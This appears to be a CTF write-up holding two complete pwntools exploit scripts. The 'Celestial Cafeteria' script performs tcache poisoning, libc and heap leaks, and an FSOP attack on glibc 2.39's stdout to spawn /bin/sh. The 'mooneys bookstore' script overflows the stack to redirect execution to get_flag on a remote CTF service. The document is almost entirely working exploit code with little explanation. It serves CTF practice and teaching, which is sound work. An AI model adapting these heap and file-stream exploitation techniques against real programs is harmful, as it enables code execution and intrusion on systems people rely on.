dplastico

Celestial Cafeteria

Nice Heap challenge

#!/usr/bin/env python3
from pwn import *

elf = ELF("./chal_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = elf
context.terminal = ['tmux', 'splitw', '-hl', '160']
#context.log_level = "debug"
gs = '''
continue
'''

def start():
    if args.REMOTE:
        return remote("127.0.0.1", 1337)
    if args.GDB:
        return gdb.debug([elf.path], gdbscript=gs)
    else:
        return process([elf.path])

r = start()

def rcu(d1, d2=0):
  r.recvuntil(d1, drop=True)
  if (d2):
    return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value

# ========= menu wrappers ==================
r.timeout = 0.5
index = 0
def _sync_menu():
    rcu(b">> ")

def choose(opt):
    sl(bc(opt))

def add(slot, typ, data: bytes):
    choose(1)
    sla(b"Slot: ", bc(slot))
    sla(b"Type (1. Main, 2. Side, 3. Appetizer, 4. Dessert): ", bc(typ))
    sa(b"Ingredients: ", data)
    _sync_menu()
    return slot

def delete(slot):
    choose(2)
    sla(b"Slot: ", bc(slot))
    rcu(b"Dish deleted successfully!\n")
    _sync_menu()

def edit(slot, data: bytes):
    choose(3)
    sla(b"Slot: ", bc(slot))
    sa(b"Ingredients: ", data)
    rcu(b"Dish edited successfully!\n")
    _sync_menu()

def show(slot) -> bytes:
    choose(4)
    sla(b"Slot: ", bc(slot))

def place_order():
    choose(5)

# ========= helpers ==============

def add_0x200(slot, data):
    return add(slot, 1, data)

def add_0x180(slot, data):
    return add(slot, 2, data)

def add_0x140(slot, data):
    return add(slot, 3, data)

def add_0x100(slot, data):
    return add(slot, 4, data)
    
#====== Exploit ============================
#HoB
for i in range(7):
    add_0x100(i, b"A")

prev = add_0x100(7, b"prev")
victim = add_0x100(8, b"victim")

add_0x180(15, b"dpla")

for i in range(7):
    delete(i)

delete(victim)
delete(prev)
for i in range(7):
 add_0x100(i, b"B")
delete(victim)
overlap1 = add_0x140(9, b"A"*8)

#libc leak
show(9)
leak = u64(rcu(b"AAAAAAAA", b"\n").ljust(8,b"\x00"))
rcu(b">>")
logleak("libc leak", leak)
libc.address = leak - 0x203d10
libcbase()

#heap leak
edit(9, b"A"*0xf8+ b"Y"*8)
show(9)
leak = u64(rcu(b"YYYYYYYY", b"\n").ljust(8,b"\x00"))
rcu(b">>")
logleak("mangled heap leak", leak)
heap_base = demangle_base(leak)
logleak("demagled heap base", heap_base)
mangled_base = leak

#reset for pwn
edit(9, b"A"*0xf8+ p64(0x101)+p64(mangled_base))
overlap2 = add_0x100(10, b"dpladpla")
delete(0)
delete(overlap2)
edit(9, b"A"*0xf8+ p64(0x101)+p64(remangle(heap_base, libc.sym._IO_2_1_stdout_)))
add_0x100(11, p64(0xdeadbeef))

#fsop (libc 2.39)
gadget = libc.address + 0x00000000001724f0# add rdi, 0x10; jmp rcx;
stdout = libc.sym._IO_2_1_stdout_
fake_vtable = libc.sym._IO_wfile_jumps -0x18

#debug info
logleak("gadget", gadget)
logleak("_IO_2_1_stdout_",libc.sym._IO_2_1_stdout_)
logleak("_IO_stdfile_1_lock",libc.sym._IO_stdfile_1_lock)

#Fake FILE
fake = FileStructure(0)
fake.flags = 0x0
fake._IO_read_end=libc.sym.system#  system()
fake._IO_save_base = p64(gadget)
fake._IO_write_end=u64(b'/bin/sh\x00')# rdi+0x10
fake._lock = libc.sym._IO_stdfile_1_lock #lock symbol
fake._codecvt = stdout + 0xb8
fake._wide_data = stdout+0x200	# _wide_data => point to 0x0
fake.unknown2 = p64(0)*2+p64(stdout+0x20)+p64(0)*3+p64(fake_vtable)
log.info(f"len of fake stdout {hex(len(fake))}")
#trigger
add_0x100(12, bytes(fake))

#========= interactive ====================
r.interactive()

mooneys bookstore

A simple pwn

#!/usr/bin/env python3

from pwn import *

elf = ELF("./overflow_me_patched")

context.binary = elf
context.terminal = ['tmux', 'splitw', '-hl', '160']
#context.log_level = "debug"
gs = '''
b get_input
continue
'''

def one_gadget(filename, base_addr=0):
	 return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l1', filename]).decode().split(' ')]

def start():
    if args.REMOTE:
        return remote("chals.ctf.csaw.io", 21006)
    if args.GDB:
        return gdb.debug([elf.path], gdbscript=gs)
    else:
        return process([elf.path])

r = start()

def rcu(d1, d2=0):
  r.recvuntil(d1, drop=True)
  if (d2):
    return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value

#========= exploit here ===================
addr = p64(0x4040B8)
sa(b"address", addr)

r.recvline()

key = p64(int(r.recvline().strip(),16))

sa(b"unlocks", key)

val = int(rcu(b"you: ", b"\n"),16)

ret = 0x000000000040101a# ret 

payload = b"A"*0x40
payload += p64(val)
payload += b"B"*0x10
payload += p64(ret)
payload += p64(elf.sym.get_flag)
sla(b"this story.", payload)

#========= interactive ====================
r.interactive()